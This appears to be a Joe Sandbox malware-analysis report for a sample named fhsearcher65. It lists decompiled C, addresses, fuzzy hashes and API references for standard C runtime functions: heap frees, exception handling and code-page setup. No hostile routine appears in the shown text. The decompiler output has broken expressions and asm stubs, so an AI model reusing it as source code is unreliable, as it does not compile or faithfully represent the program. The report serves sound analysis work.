Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: f64a1fe2d3c08a56fcd9346185c77cb8d93b1cbc53ddc582fa2c2fd8cd520f41
Instruction ID: 3c50e720da746b93e86ff81adcea33a9a04c239cb02f3ab6c617aa6689e66b9a
Opcode Fuzzy Hash: f64a1fe2d3c08a56fcd9346185c77cb8d93b1cbc53ddc582fa2c2fd8cd520f41
Instruction Fuzzy Hash: 34E0D835781225FBC7212B51EC08A9E7F18EF06763B004032FE0966262CB7468118FDD

Uniqueness

Uniqueness Score: -1.00%

Function 0041B017 Relevance: 6.0, APIs: 4, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041B017() {

				E0041E668( *0x450bd0);
				 *0x450bd0 = 0;
				E0041E668( *0x450bd4);
				 *0x450bd4 = 0;
				E0041E668( *0x450cd0);
				 *0x450cd0 = 0;
				E0041E668( *0x450cd4);
				 *0x450cd4 = 0;
				return 1;
			}

0x0041b020
0x0041b02d
0x0041b033
0x0041b03e
0x0041b044
0x0041b04f
0x0041b055
0x0041b05d
0x0041b066

APIs

_free.LIBCMT ref: 0041B020

Part of subcall function 0041E668: HeapFree.KERNEL32(00000000,00000000,?,00426137,?,00000000,?,?,?,004263DA,?,00000007,?,?,004268CD,?), ref: 0041E67E
Part of subcall function 0041E668: GetLastError.KERNEL32(?,?,00426137,?,00000000,?,?,?,004263DA,?,00000007,?,?,004268CD,?,?), ref: 0041E690

_free.LIBCMT ref: 0041B033
_free.LIBCMT ref: 0041B044
_free.LIBCMT ref: 0041B055

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7600757227941bb7c95799b95531e21e679b1f58566f426ab12c79b805c51534
Instruction ID: 9372bff5817339a786e7c4368e90d36d76600da4bab4315fbda4bcae9c66e992
Opcode Fuzzy Hash: 7600757227941bb7c95799b95531e21e679b1f58566f426ab12c79b805c51534
Instruction Fuzzy Hash: 70E0BFBF421360FB96066F66BD41A85BA61B76970ABC1016AFC0036233CB359551EB8D

Uniqueness

Uniqueness Score: -1.00%

Function 100075A4 Relevance: 6.0, APIs: 4, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100075A4() {

				E10008701( *0x100180fc);
				 *0x100180fc = 0;
				E10008701( *0x10018100);
				 *0x10018100 = 0;
				E10008701( *0x10018330);
				 *0x10018330 = 0;
				E10008701( *0x10018334);
				 *0x10018334 = 0;
				return 1;
			}

0x100075ad
0x100075ba
0x100075c0
0x100075cb
0x100075d1
0x100075dc
0x100075e2
0x100075ea
0x100075f3

APIs

_free.LIBCMT ref: 100075AD

Part of subcall function 10008701: RtlFreeHeap.NTDLL(00000000,00000000,?,100074AC), ref: 10008717
Part of subcall function 10008701: GetLastError.KERNEL32(?,?,100074AC), ref: 10008729

_free.LIBCMT ref: 100075C0
_free.LIBCMT ref: 100075D1
_free.LIBCMT ref: 100075E2

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 560e9729131f36da597d803f7365e1613d92c0d7e1160fc99f91f24202a3e63e
Instruction ID: 11fb011ea0374647b44fdc306d41bcbb37fa874d581b786af2f79b002bb734ee
Opcode Fuzzy Hash: 560e9729131f36da597d803f7365e1613d92c0d7e1160fc99f91f24202a3e63e
Instruction Fuzzy Hash: 82E0EC79825130EBFB52AF149CC28493E66FB58B803A5C00AF86812239D732D7529FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403B40 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E00403B40(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				signed int _v32;
				char _v36;
				char _v40;
				char _v44;
				intOrPtr _v48;
				char _v52;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v92;
				intOrPtr _v96;
				void* _v116;
				signed int _v132;
				void* __esi;
				void* __ebp;
				signed int _t71;
				signed int _t72;
				intOrPtr _t81;
				intOrPtr* _t87;
				intOrPtr _t96;
				void* _t109;
				void* _t111;
				char _t115;
				char _t118;
				intOrPtr* _t127;
				intOrPtr _t128;
				intOrPtr _t133;
				intOrPtr _t134;
				void* _t136;
				void* _t137;
				intOrPtr* _t141;
				void* _t142;
				intOrPtr* _t144;
				intOrPtr _t145;
				void* _t146;
				intOrPtr* _t147;
				signed int _t151;
				void* _t155;
				signed int _t158;
				void* _t159;

				_push(__ebx);
				_t111 = _t155;
				_t158 = (_t155 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t111 + 4));
				_t151 = _t158;
				_push(0xffffffff);
				_push(0x42c745);
				_push( *[fs:0x0]);
				_push(_t111);
				_t159 = _t158 - 0x58;
				_t71 =  *0x43d054; // 0xd71f2cec
				_t72 = _t71 ^ _t151;
				_v32 = _t72;
				_push(__edi);
				_push(_t72);
				 *[fs:0x0] =  &_v24;
				_t141 = __ecx;
				_v44 = __ecx;
				_v44 = __ecx;
				E0040BF40(_t111,  &_v68, __edx, __ecx,  *((intOrPtr*)(_t111 + 8)));
				_t144 =  *((intOrPtr*)(_t111 + 0x10));
				_v44 =  *((intOrPtr*)(_t111 + 0xc));
				_v16 = 0;
				_t115 = _v52;
				if(_t115 != 0) {
					if(_v48 - _t115 < 2) {
						_v36 = 0;
						E00402980(_t111,  &_v68, __ecx, _t144, 2, _v36, ": ", 2);
					} else {
						_v52 = _t115 + 2;
						_t109 =  >=  ? _v68 :  &_v68;
						 *((short*)(_t109 + _t115)) = 0x203a;
						 *((char*)(_t109 + _t115 + 2)) = 0;
					}
				}
				 *((intOrPtr*)( *_t144 + 8))( &_v92, _v44);
				_v16 = 1;
				_t118 = _v76;
				_t132 =  >=  ? _v92 :  &_v92;
				_t145 = _v52;
				_v44 = _t118;
				_push(_t118);
				_push( >=  ? _v92 :  &_v92);
				if(_t118 > _v48 - _t145) {
					_v44 = 0;
					_push(_v44);
					_push(_t118);
					_t81 = E00402980(_t111,  &_v68, _t141, _t145);
				} else {
					_v52 = _t145 + _t118;
					_t102 =  >=  ? _v68 :  &_v68;
					_t145 = _t145 + ( >=  ? _v68 :  &_v68);
					_push(_t145);
					E00410870();
					_t81 = _v44;
					_t159 = _t159 + 0xc;
					 *((char*)(_t145 + _t81)) = 0;
				}
				_t133 = _v72;
				if(_t133 < 0x10) {
					L11:
					asm("movups xmm1, [ebp-0x38]");
					 *_t141 = 0x42e2d4;
					asm("movq xmm0, [ebp-0x28]");
					asm("movq [ebp-0x58], xmm0");
					asm("xorps xmm0, xmm0");
					asm("movd eax, xmm1");
					asm("movq [edi+0x4], xmm0");
					asm("movups [ebp-0x68], xmm1");
					_t121 =  >=  ? _t81 :  &_v116;
					_v52 = 0;
					_v48 = 0xf;
					_v68 = 0;
					_v40 =  >=  ? _t81 :  &_v116;
					_v36 = 1;
					E00410321( &_v40, _t141 + 4);
					_t134 = _v96;
					_t159 = _t159 + 8;
					 *_t141 = 0x42e320;
					if(_t134 < 0x10) {
						L15:
						 *_t141 = 0x439c98;
						 *((intOrPtr*)(_t141 + 0xc)) =  *((intOrPtr*)(_t111 + 0xc));
						 *((intOrPtr*)(_t141 + 0x10)) =  *((intOrPtr*)(_t111 + 0x10));
						 *[fs:0x0] = _v24;
						_pop(_t142);
						_pop(_t146);
						return E0040EF6F(_t141, _t111, _v32 ^ _t151,  *((intOrPtr*)(_t111 + 0x10)), _t142, _t146);
					} else {
						_t127 = _v116;
						_t136 = _t134 + 1;
						_t87 = _t127;
						if(_t136 < 0x1000) {
							L14:
							_push(_t136);
							E0040F1B0(_t127);
							goto L15;
						} else {
							_t127 =  *((intOrPtr*)(_t127 - 4));
							_t136 = _t136 + 0x23;
							if(_t87 - _t127 + 0xfffffffc > 0x1f) {
								goto L17;
							} else {
								goto L14;
							}
						}
					}
				} else {
					_t128 = _v92;
					_t137 = _t133 + 1;
					_t96 = _t128;
					if(_t137 < 0x1000) {
						L10:
						_push(_t137);
						_t81 = E0040F1B0(_t128);
						_t159 = _t159 + 8;
						goto L11;
					} else {
						_t127 =  *((intOrPtr*)(_t128 - 4));
						_t136 = _t137 + 0x23;
						if(_t96 - _t127 + 0xfffffffc > 0x1f) {
							E004138D7(_t111, _t136, __eflags);
							L17:
							E004138D7(_t111, _t136, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t151);
							_push(_t145);
							_t147 = _t127;
							 *_t147 = 0x42e2d4;
							E00410384(_t147 + 4);
							__eflags = _v132 & 0x00000001;
							if((_v132 & 0x00000001) != 0) {
								_push(0x14);
								E0040F1B0(_t147);
							}
							return _t147;
						} else {
							goto L10;
						}
					}
				}
			}

0x00403b40
0x00403b41
0x00403b49
0x00403b50
0x00403b54
0x00403b56
0x00403b58
0x00403b63
0x00403b64
0x00403b65
0x00403b68
0x00403b6d
0x00403b6f
0x00403b73
0x00403b74
0x00403b78
0x00403b7e
0x00403b80
0x00403b8a
0x00403b8d
0x00403b95
0x00403b98
0x00403b9b
0x00403ba2
0x00403ba7
0x00403bb3
0x00403bdc
0x00403be8
0x00403bb5
0x00403bbb
0x00403bc6
0x00403bca
0x00403bce
0x00403bce
0x00403bb3
0x00403bf8
0x00403bfb
0x00403c06
0x00403c09
0x00403c10
0x00403c15
0x00403c18
0x00403c19
0x00403c1c
0x00403c43
0x00403c47
0x00403c4a
0x00403c4e
0x00403c1e
0x00403c25
0x00403c2b
0x00403c2f
0x00403c31
0x00403c32
0x00403c37
0x00403c3a
0x00403c3d
0x00403c3d
0x00403c53
0x00403c59
0x00403c87
0x00403c87
0x00403c8e
0x00403c94
0x00403c99
0x00403c9e
0x00403ca5
0x00403ca9
0x00403cae
0x00403cb2
0x00403cb5
0x00403cbf
0x00403cca
0x00403ccf
0x00403cd2
0x00403cd6
0x00403cdb
0x00403cde
0x00403ce1
0x00403cea
0x00403d14
0x00403d1c
0x00403d22
0x00403d25
0x00403d2b
0x00403d33
0x00403d34
0x00403d45
0x00403cec
0x00403cec
0x00403cef
0x00403cf0
0x00403cf8
0x00403d0a
0x00403d0a
0x00403d0c
0x00000000
0x00403cfa
0x00403cfa
0x00403cfd
0x00403d08
0x00000000
0x00000000
0x00000000
0x00000000
0x00403d08
0x00403cf8
0x00403c5b
0x00403c5b
0x00403c5e
0x00403c5f
0x00403c67
0x00403c7d
0x00403c7d
0x00403c7f
0x00403c84
0x00000000
0x00403c69
0x00403c69
0x00403c6c
0x00403c77
0x00403d48
0x00403d4d
0x00403d4d
0x00403d52
0x00403d53
0x00403d54
0x00403d55
0x00403d56
0x00403d57
0x00403d58
0x00403d59
0x00403d5a
0x00403d5b
0x00403d5c
0x00403d5d
0x00403d5e
0x00403d5f
0x00403d60
0x00403d63
0x00403d64
0x00403d69
0x00403d70
0x00403d78
0x00403d7c
0x00403d7e
0x00403d81
0x00403d86
0x00403d8d
0x00000000
0x00000000
0x00000000
0x00403c77
0x00403c67

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00403CD6
___std_exception_destroy.LIBVCRUNTIME ref: 00403D70

Strings

`=@, xrefs: 00403D1C

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: `=@
API String ID: 2970364248-2879527708
Opcode ID: d3e2c53062b209fb7f038d8ca1c57350c5b565280e0746c03d762e84a3da6b9f
Instruction ID: d20ecf39dfeb3da6f71e444fe7294adadcd6ef5485f756878694963e9b4c065a
Opcode Fuzzy Hash: d3e2c53062b209fb7f038d8ca1c57350c5b565280e0746c03d762e84a3da6b9f
Instruction Fuzzy Hash: 11719371A00248DBDB04DF98D881BDDFBB5EF49314F14812EE805B7285D778AA84CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00419E0D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00419E9D

Strings

pow, xrefs: 00419E75, 00419E92

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: a582e46973c46f5eef58ff1d0f172840d36d42b9c83d8389a540df618c71c77d
Instruction ID: c6937131d7716e0837e871e2187d0fab9f51e046eb5990c53cedf6c85b26ed1e
Opcode Fuzzy Hash: a582e46973c46f5eef58ff1d0f172840d36d42b9c83d8389a540df618c71c77d
Instruction Fuzzy Hash: 46515FB1B04201A6CB11BF14D9513EB67F49B40B43F648C6BF085863E9EB3D8DD59A4E

Uniqueness

Uniqueness Score: -1.00%

Function 00424C8E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00424C8E(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v22;
				char _v28;
				signed int _v32;
				signed int _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t51;
				signed int _t55;
				int _t57;
				signed int _t60;
				signed int _t61;
				short _t64;
				signed char _t66;
				signed int _t67;
				signed char* _t75;
				signed char* _t76;
				int _t78;
				signed int _t83;
				signed char* _t84;
				short* _t85;
				signed int _t86;
				signed char _t87;
				signed int _t88;
				void* _t89;
				signed int _t90;
				signed int _t91;
				short _t92;
				signed int _t93;
				intOrPtr _t95;
				signed int _t96;

				_t89 = __edx;
				_t51 =  *0x43d054; // 0xd71f2cec
				_v8 = _t51 ^ _t96;
				_t95 = _a8;
				_t78 = E00424829(__eflags, _a4);
				if(_t78 == 0) {
					L36:
					E0042489A(_t95);
					goto L37;
				} else {
					_t92 = 0;
					_t83 = 0;
					_t57 = 0;
					_v32 = 0;
					while( *((intOrPtr*)(_t57 + 0x43d9a0)) != _t78) {
						_t83 = _t83 + 1;
						_t57 = _t57 + 0x30;
						_v32 = _t83;
						if(_t57 < 0xf0) {
							continue;
						} else {
							if(_t78 == 0xfde8) {
								L22:
								_t55 = _t57 | 0xffffffff;
							} else {
								_t57 = IsValidCodePage(_t78 & 0x0000ffff);
								if(_t57 == 0) {
									goto L22;
								} else {
									if(_t78 != 0xfde9) {
										_t13 =  &_v28; // 0x424ae1
										_t57 = GetCPInfo(_t78, _t13);
										__eflags = _t57;
										if(_t57 == 0) {
											__eflags =  *0x450cc0 - _t92; // 0x0
											if(__eflags != 0) {
												goto L36;
											} else {
												goto L22;
											}
										} else {
											_t14 = _t95 + 0x18; // 0x18
											E00410EB0(_t92, _t14, _t92, 0x101);
											 *(_t95 + 4) = _t78;
											__eflags = _v28 - 2;
											 *((intOrPtr*)(_t95 + 0x21c)) = _t92;
											if(_v28 == 2) {
												__eflags = _v22;
												_t75 =  &_v22;
												if(_v22 != 0) {
													while(1) {
														_t87 = _t75[1];
														__eflags = _t87;
														if(_t87 == 0) {
															goto L18;
														}
														_t90 = _t87 & 0x000000ff;
														_t88 =  *_t75 & 0x000000ff;
														while(1) {
															__eflags = _t88 - _t90;
															if(_t88 > _t90) {
																break;
															}
															 *(_t95 + _t88 + 0x19) =  *(_t95 + _t88 + 0x19) | 0x00000004;
															_t88 = _t88 + 1;
															__eflags = _t88;
														}
														_t75 =  &(_t75[2]);
														__eflags =  *_t75;
														if( *_t75 != 0) {
															continue;
														}
														goto L18;
													}
												}
												L18:
												_t25 = _t95 + 0x1a; // 0x1a
												_t76 = _t25;
												_t86 = 0xfe;
												do {
													 *_t76 =  *_t76 | 0x00000008;
													_t76 =  &(_t76[1]);
													_t86 = _t86 - 1;
													__eflags = _t86;
												} while (_t86 != 0);
												 *((intOrPtr*)(_t95 + 0x21c)) = E004247EB( *(_t95 + 4));
												_t92 = 1;
											}
											goto L8;
										}
									} else {
										 *(_t95 + 4) = 0xfde9;
										 *((intOrPtr*)(_t95 + 0x21c)) = _t92;
										 *((intOrPtr*)(_t95 + 0x18)) = _t92;
										 *((short*)(_t95 + 0x1c)) = _t92;
										L8:
										 *((intOrPtr*)(_t95 + 8)) = _t92;
										_t12 = _t95 + 0xc; // 0xc
										_t92 = _t12;
										asm("stosd");
										asm("stosd");
										asm("stosd");
										L9:
										E004248FF(_t90, _t95);
										L37:
										_t55 = 0;
									}
								}
							}
						}
						goto L38;
					}
					_t28 = _t95 + 0x18; // 0x18
					E00410EB0(_t92, _t28, _t92, 0x101);
					_t60 = _v32 * 0x30;
					__eflags = _t60;
					_v36 = _t60;
					_t61 = _t60 + 0x43d9b0;
					_v32 = _t61;
					do {
						__eflags =  *_t61;
						_t84 = _t61;
						if( *_t61 != 0) {
							while(1) {
								_t66 = _t84[1];
								__eflags = _t66;
								if(_t66 == 0) {
									break;
								}
								_t91 =  *_t84 & 0x000000ff;
								_t67 = _t66 & 0x000000ff;
								while(1) {
									__eflags = _t91 - _t67;
									if(_t91 > _t67) {
										break;
									}
									__eflags = _t91 - 0x100;
									if(_t91 < 0x100) {
										_t34 = _t92 + 0x43d998; // 0x8040201
										 *(_t95 + _t91 + 0x19) =  *(_t95 + _t91 + 0x19) |  *_t34;
										_t91 = _t91 + 1;
										__eflags = _t91;
										_t67 = _t84[1] & 0x000000ff;
										continue;
									}
									break;
								}
								_t84 =  &(_t84[2]);
								__eflags =  *_t84;
								if( *_t84 != 0) {
									continue;
								}
								break;
							}
							_t61 = _v32;
						}
						_t92 = _t92 + 1;
						_t61 = _t61 + 8;
						_v32 = _t61;
						__eflags = _t92 - 4;
					} while (_t92 < 4);
					 *(_t95 + 4) = _t78;
					 *((intOrPtr*)(_t95 + 8)) = 1;
					 *((intOrPtr*)(_t95 + 0x21c)) = E004247EB(_t78);
					_t46 = _t95 + 0xc; // 0xc
					_t85 = _t46;
					_t90 = _v36 + 0x43d9a4;
					_t93 = 6;
					do {
						_t64 =  *_t90;
						_t90 = _t90 + 2;
						 *_t85 = _t64;
						_t85 = _t85 + 2;
						_t93 = _t93 - 1;
						__eflags = _t93;
					} while (_t93 != 0);
					goto L9;
				}
				L38:
				return E0040EF6F(_t55, _t78, _v8 ^ _t96, _t89, _t92, _t95);
			}

0x00424c8e
0x00424c96
0x00424c9d
0x00424ca2
0x00424cae
0x00424cb3
0x00424e69
0x00424e6a
0x00000000
0x00424cb9
0x00424cb9
0x00424cbb
0x00424cbd
0x00424cbf
0x00424cc2
0x00424cce
0x00424ccf
0x00424cd2
0x00424cda
0x00000000
0x00424cdc
0x00424ce2
0x00424db9
0x00424db9
0x00424ce8
0x00424cec
0x00424cf4
0x00000000
0x00424cfa
0x00424d01
0x00424d29
0x00424d2e
0x00424d34
0x00424d36
0x00424dad
0x00424db3
0x00000000
0x00000000
0x00000000
0x00000000
0x00424d38
0x00424d3d
0x00424d42
0x00424d4a
0x00424d4d
0x00424d51
0x00424d57
0x00424d59
0x00424d5d
0x00424d60
0x00424d62
0x00424d62
0x00424d65
0x00424d67
0x00000000
0x00000000
0x00424d69
0x00424d6c
0x00424d77
0x00424d77
0x00424d79
0x00000000
0x00000000
0x00424d71
0x00424d76
0x00424d76
0x00424d76
0x00424d7b
0x00424d7e
0x00424d81
0x00000000
0x00000000
0x00000000
0x00424d81
0x00424d62
0x00424d83
0x00424d83
0x00424d83
0x00424d86
0x00424d8b
0x00424d8b
0x00424d8e
0x00424d8f
0x00424d8f
0x00424d8f
0x00424d9e
0x00424da7
0x00424da7
0x00000000
0x00424d57
0x00424d03
0x00424d03
0x00424d06
0x00424d0c
0x00424d0f
0x00424d13
0x00424d13
0x00424d18
0x00424d18
0x00424d1b
0x00424d1c
0x00424d1d
0x00424d1e
0x00424d1f
0x00424e6f
0x00424e6f
0x00424e71
0x00424d01
0x00424cf4
0x00424ce2
0x00000000
0x00424cda
0x00424dc6
0x00424dcb
0x00424dd3
0x00424dd3
0x00424dd7
0x00424dda
0x00424de0
0x00424de3
0x00424de3
0x00424de6
0x00424de8
0x00424dea
0x00424dea
0x00424ded
0x00424def
0x00000000
0x00000000
0x00424df1
0x00424df4
0x00424e10
0x00424e10
0x00424e12
0x00000000
0x00000000
0x00424df9
0x00424dff
0x00424e01
0x00424e07
0x00424e0b
0x00424e0b
0x00424e0c
0x00000000
0x00424e0c
0x00000000
0x00424dff
0x00424e14
0x00424e17
0x00424e1a
0x00000000
0x00000000
0x00000000
0x00424e1a
0x00424e1c
0x00424e1c
0x00424e1f
0x00424e20
0x00424e23
0x00424e26
0x00424e26
0x00424e2c
0x00424e2f
0x00424e3e
0x00424e47
0x00424e47
0x00424e4c
0x00424e52
0x00424e53
0x00424e53
0x00424e56
0x00424e59
0x00424e5c
0x00424e5f
0x00424e5f
0x00424e5f
0x00000000
0x00424e64
0x00424e72
0x00424e80

APIs

Part of subcall function 00424829: GetOEMCP.KERNEL32(00000000,00424A9A,00000000,00418547,?,?,00418547,?,00000000), ref: 00424854

IsValidCodePage.KERNEL32(-00000030,00000000,51F44589,?,?,?,00424AE1,?,00000000,00000000,?,?), ref: 00424CEC
GetCPInfo.KERNEL32(00000000,JB,?,?,00424AE1,?,00000000,00000000,?,?,?,?,?,?,00418547,?), ref: 00424D2E

Strings

JB, xrefs: 00424D29, 00424D2C

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID: JB
API String ID: 546120528-1987384239
Opcode ID: 645a2305556d374672785705034b36c969b5abcb65561c59a7270247ffdd2ff3
Instruction ID: fcd111444ab915869d4e75fc0e0b093662fadab8e17bb4145e8bbee57d2cba1b
Opcode Fuzzy Hash: 645a2305556d374672785705034b36c969b5abcb65561c59a7270247ffdd2ff3
Instruction Fuzzy Hash: 95512270B002618EEB21CF76E4406BBBBE5EFD1304F94446FD08A8B351D7789942CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004248FF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E004248FF(signed int __edx, char _a4) {
				signed int _v8;
				char _v264;
				char _v520;
				char _v776;
				char _v1800;
				char _v1814;
				struct _cpinfo _v1820;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t60;
				signed int _t63;
				char _t68;
				signed char _t69;
				signed int _t70;
				signed int _t80;
				signed int _t81;
				char _t82;
				signed int _t85;
				signed char _t86;
				signed int _t87;
				signed int _t88;
				void* _t89;
				intOrPtr _t90;
				signed int _t91;

				_t88 = __edx;
				_t60 =  *0x43d054; // 0xd71f2cec
				_v8 = _t60 ^ _t91;
				_t2 =  &_a4; // 0x424d24
				_t90 =  *_t2;
				if( *(_t90 + 4) == 0xfde9 || GetCPInfo( *(_t90 + 4),  &_v1820) == 0) {
					_t81 = 0;
					__eflags = 0;
					_t89 = 0x100;
					_t82 = 0;
					do {
						_t46 = _t82 - 0x61; // -97
						_t88 = _t46;
						_t47 = _t88 + 0x20; // -65
						__eflags = _t47 - 0x19;
						if(_t47 > 0x19) {
							__eflags = _t88 - 0x19;
							if(_t88 > 0x19) {
								_t63 = _t81;
							} else {
								 *(_t90 + _t82 + 0x19) =  *(_t90 + _t82 + 0x19) | 0x00000020;
								_t56 = _t82 - 0x20; // -32
								_t63 = _t56;
							}
						} else {
							 *(_t90 + _t82 + 0x19) =  *(_t90 + _t82 + 0x19) | 0x00000010;
							_t52 = _t82 + 0x20; // 0x20
							_t63 = _t52;
						}
						 *(_t90 + _t82 + 0x119) = _t63;
						_t82 = _t82 + 1;
						__eflags = _t82 - _t89;
					} while (_t82 < _t89);
					goto L26;
				} else {
					_t81 = 0;
					_t89 = 0x100;
					_t68 = 0;
					do {
						 *((char*)(_t91 + _t68 - 0x104)) = _t68;
						_t68 = _t68 + 1;
					} while (_t68 < 0x100);
					_t69 = _v1814;
					_t85 =  &_v1814;
					_v264 = 0x20;
					while(1) {
						_t99 = _t69;
						if(_t69 == 0) {
							break;
						}
						_t88 =  *(_t85 + 1) & 0x000000ff;
						_t70 = _t69 & 0x000000ff;
						while(1) {
							__eflags = _t70 - _t88;
							if(_t70 > _t88) {
								break;
							}
							__eflags = _t70 - _t89;
							if(_t70 >= _t89) {
								break;
							}
							 *((char*)(_t91 + _t70 - 0x104)) = 0x20;
							_t70 = _t70 + 1;
							__eflags = _t70;
						}
						_t85 = _t85 + 2;
						__eflags = _t85;
						_t69 =  *_t85;
					}
					E00421C25(_t99, _t81, 1,  &_v264, _t89,  &_v1800,  *(_t90 + 4), _t81);
					E0042179C(_t99, _t81,  *((intOrPtr*)(_t90 + 0x21c)), _t89,  &_v264, _t89,  &_v520, _t89,  *(_t90 + 4), _t81);
					E0042179C(_t99, _t81,  *((intOrPtr*)(_t90 + 0x21c)), 0x200,  &_v264, _t89,  &_v776, _t89,  *(_t90 + 4), _t81);
					_t80 = _t81;
					do {
						_t86 =  *(_t91 + _t80 * 2 - 0x704) & 0x0000ffff;
						if((_t86 & 0x00000001) == 0) {
							__eflags = _t86 & 0x00000002;
							if((_t86 & 0x00000002) == 0) {
								_t87 = _t81;
							} else {
								 *(_t90 + _t80 + 0x19) =  *(_t90 + _t80 + 0x19) | 0x00000020;
								_t87 =  *((intOrPtr*)(_t91 + _t80 - 0x304));
							}
						} else {
							 *(_t90 + _t80 + 0x19) =  *(_t90 + _t80 + 0x19) | 0x00000010;
							_t87 =  *((intOrPtr*)(_t91 + _t80 - 0x204));
						}
						 *(_t90 + _t80 + 0x119) = _t87;
						_t80 = _t80 + 1;
					} while (_t80 < _t89);
					L26:
					return E0040EF6F(_t63, _t81, _v8 ^ _t91, _t88, _t89, _t90);
				}
			}

0x004248ff
0x0042490a
0x00424911
0x00424916
0x00424916
0x00424921
0x00424a33
0x00424a33
0x00424a35
0x00424a3a
0x00424a3c
0x00424a3c
0x00424a3c
0x00424a3f
0x00424a42
0x00424a45
0x00424a51
0x00424a54
0x00424a62
0x00424a56
0x00424a59
0x00424a5d
0x00424a5d
0x00424a5d
0x00424a47
0x00424a47
0x00424a4c
0x00424a4c
0x00424a4c
0x00424a64
0x00424a6b
0x00424a6c
0x00424a6c
0x00000000
0x0042493f
0x0042493f
0x00424941
0x00424946
0x00424948
0x00424948
0x0042494f
0x00424950
0x00424954
0x0042495a
0x00424960
0x00424988
0x00424988
0x0042498a
0x00000000
0x00000000
0x00424969
0x0042496d
0x0042497f
0x0042497f
0x00424981
0x00000000
0x00000000
0x00424972
0x00424974
0x00000000
0x00000000
0x00424976
0x0042497e
0x0042497e
0x0042497e
0x00424983
0x00424983
0x00424986
0x00424986
0x004249a2
0x004249c3
0x004249eb
0x004249f3
0x004249f5
0x004249f5
0x00424a00
0x00424a10
0x00424a13
0x00424a23
0x00424a15
0x00424a15
0x00424a1a
0x00424a1a
0x00424a02
0x00424a02
0x00424a07
0x00424a07
0x00424a25
0x00424a2c
0x00424a2d
0x00424a70
0x00424a7e
0x00424a7e

APIs

GetCPInfo.KERNEL32(0000FDE9,?,0000000C,00000000,00000000), ref: 00424931

Strings

$MB, xrefs: 00424916
, xrefs: 00424976

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Info
String ID: $$MB
API String ID: 1807457897-3404865464
Opcode ID: 4ae3716cfb8fb9acb1e46d939e07dfd01a0df281aa92a38d95222557ad94e3f0
Instruction ID: 78445c7f6b059b890cc7da4ce57905e468d513fcfacc002e5d76ae8238cd3d42
